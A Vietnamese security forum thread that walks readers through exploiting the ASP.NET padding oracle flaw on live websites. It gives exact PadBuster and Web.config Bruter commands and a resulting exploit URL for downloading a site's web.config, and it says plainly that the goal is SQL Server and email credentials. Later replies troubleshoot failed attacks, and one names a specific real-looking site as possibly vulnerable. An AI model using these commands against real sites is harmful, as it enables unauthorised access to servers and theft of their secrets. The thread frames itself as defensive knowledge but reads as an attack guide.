Khai thác lỗi Asp.net Padding oracle Vulnerability trên các website .net

dohaichau

W-------
16/04/2014
1
11 bài viết
Khai thác lỗi Asp.net Padding oracle Vulnerability trên các website .net
Dạo qua một chút về lỗ hổng này:
- Lỗ hổng Asp.net Padding oracle được nghiên cứu và phát hiện bởi team 2 người: Thái Dương (người Vietnam) và Juliano Rizzo.

- Lỗ hổng nằm ở cơ chế xác thực của .net framework

- Cách thức khai thác: Hacker sẽ giải mã cơ chế xác thực của web-form, sau đó chèn chuỗi xác thực giả mạo để có thể download được file trên server (cụ thể là file web.config). Khi có được nội dung của file web.config thì hacker có thể truy cập thẳng vào SQL Server, hoặc email, hoặc khai thác các thông tin nhạy cảm có trong file.

- Mục tiêu khai thác: Các website asp.net chưa cập nhật bản vá Asp.net padding oracle

- Công cụ khai thác:
PadBuster: https://codeload.github.com/GDSSecurity/PadBuster/zip/master
Web.config Bruter: http://www.mindedsecurity.com/fileshare/Web.config_bruter.zip
* Lưu ý: 2 công cụ trên viết bằng ngôn ngữ Perl, do đó để dùng được thì máy bạn phải chạy được file .pl
Bạn có thể cài đặt Strawberry để chạy perl: http://strawberry-perl.googlecode.com/files/strawberry-perl-5.18.2.1-32bit.msi

Bắt đầu khai thác:

- Trước tiên bạn download các tools ở trên. Cài đặt Strawberry nếu máy chưa chạy được Perl. Giải nén các file .pl vào 1 folder (ví dụ tôi để ở folder C:strawberryperlin)

- Chọn 1 site asp.net, view-source để xem trang đó có sử dụng "WebResource" hoặc "ScriptResource" không, bạn có thể dễ dàng nhận ra theo dạng như sau:
Mã:

14908930161.png


- Tiếp theo, ta cần quan tâm đoạn code "WebResource.axd?d=...", chúng ta copy từ "WebResource" đến hết tham số "d=..." và trước ký tự "&". Như vậy với ví dụ trên, ta có giá trị của tham số d là "wuHCulEJ7ItpvTZ6fgLBkA2"

- Nhớ đường dẫn tới file "perl.exe" trên máy của bạn. Nếu bạn cài Strawberry thì nó sẽ là "C:strawberryperlinperl.exe"

- Mở command promt (Start -> Run -> CMD), và chạy các lệnh sau:
1. Tôi dùng lệnh "cd" để nhảy tới folder chứa file "perl.exe" và các file .pl đã giải nén trước đó, cho dễ thao tác
Mã:
cd C:strawberryperlin

2. Chạy file padBuster.pl
Mã:
perl.exe padBuster.pl http://domain.com/WebResource.axd?d=wuHCulEJ7ItpvTZ6fgLBkA2 wuHCulEJ7ItpvTZ6fgLBkA2 16 -encoding 3 -plaintext "|||~/web.config"
Thay "domain.com" bằng website attack.
Đợi 1 lúc bạn sẽ thấy dấu nhắc: "The ID# marked with ** is recommended : _"
Bạn điền số "2" và nhấn enter (như hình dưới) để chương trình chạy tiếp

14908930162a.png


Ra làm cốc cafe, tầm 10 phút sau quay lại bạn sẽ thấy chương trình đã giải mã được 16byte như hình dưới:
14908930163.png


Và ta thấy chương trình thông báo dạng như:
Mã:
Encrypted value is: cjxnHkF5jO0uY5bPveG3FAAAAAAAAAAAAAAAAAAAAAA1
Đây chính là chuỗi mã hóa chúng ta cần, copy chuỗi trên để tiếp tục sử dụng với Webconfig.pl

3. Chạy file Webconfig.pl
Mã:
perl.exe Webconfig.pl http://domain.com/ScriptResource.axd cjxnHkF5jO0uY5bPveG3FAAAAAAAAAAAAAAAAAAAAAA1 16
Thay "domain.com" = website attack. Chú ý, lần này sử dụng "ScriptResource.axd" chứ không phải "WebResource.axd" như câu lệnh trước. Ký tự "16" cuối dòng để chỉ cho webconfig.pl rằng mã hóa 16byte.

Ra làm thêm cốc cafe và hộp bánh nữa, 30 phút sau quay lại, bạn sẽ thấy như hình dưới:
Chúng ta copy đoạn code sau thông báo: Resulting Exploit Block
14908930163.png


4. Dùng trình duyệt truy cập thẳng vào link:
Mã:
http://domain.com/ScriptResource.axd?d=O6obffZdLb81EFmrWueJ5nI8Zx5BeYztLmOWz73htxQAAAAAAAAAAAAAAAAAAAAA0
Ta sẽ có file web.config
14908930164.png


*** Lưu ý, khi viewsource các website attack, bạn để ý thấy "WebResource.axd?d=..." có vẻ được mã hóa 16byte thì mới có khả năng khai thác, còn nếu không tức là đã vá lỗi.
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: khoanokia218
Re: Khai thác lỗi Asp.net Padding oracle Vulnerability trên các website .net

Oầy, che tên web attack đi rồi mà, sót ở đâu à? Sao bác trên mò ra nhanh thế
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Khai thác lỗi Asp.net Padding oracle Vulnerability trên các website .net

dohaichau;12255 đã viết:
Oầy, che tên web attack đi rồi mà, sót ở đâu à? Sao bác trên mò ra nhanh thế
cái ảnh cuối #1 :rolleyes:
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Khai thác lỗi Asp.net Padding oracle Vulnerability trên các website .net

Hi anh !

Em có làm theo như hướng dẫn của anh nhưng ra kết quả như sau.

Mã:
+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| [email protected]                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 21725

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       256     404     1510    N/A
-------------------------------------------------------

ERROR: All of the responses were identical.

Double check the Block Size and try again.

Anh xem giúp em với . Tks
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Khai thác lỗi Asp.net Padding oracle Vulnerability trên các website .net

http://sakurababy.vn/ Hình như trang này cũng bị. @@ mà chưa khai thác thử
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: Khai thác lỗi Asp.net Padding oracle Vulnerability trên các website .net

Bạn ơi cho mình hỏi là sao mình dùng câu lệnh đầu tiên của bạn thì nó bị báo lỗi

cái scritp của nó
PHP:

mình dùng như bạn cắt nó ra
PHP:
WebResource.axd?d=640GDwdhDXRrVIPprfzpkZKEJdfw0LAYO7-Q58jYWZp9Z4d1WYMU1YvzZR4fmISgE_GswQU4H-3LscFtcZ9gCYQlUc1

nó lại báo lỗi
ERROR: Encrypted Bytes must be evenly divisible by Block Size (16) Encrypted sample length is 68. Double check the Encoding and Block Size.

giúp mình với
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên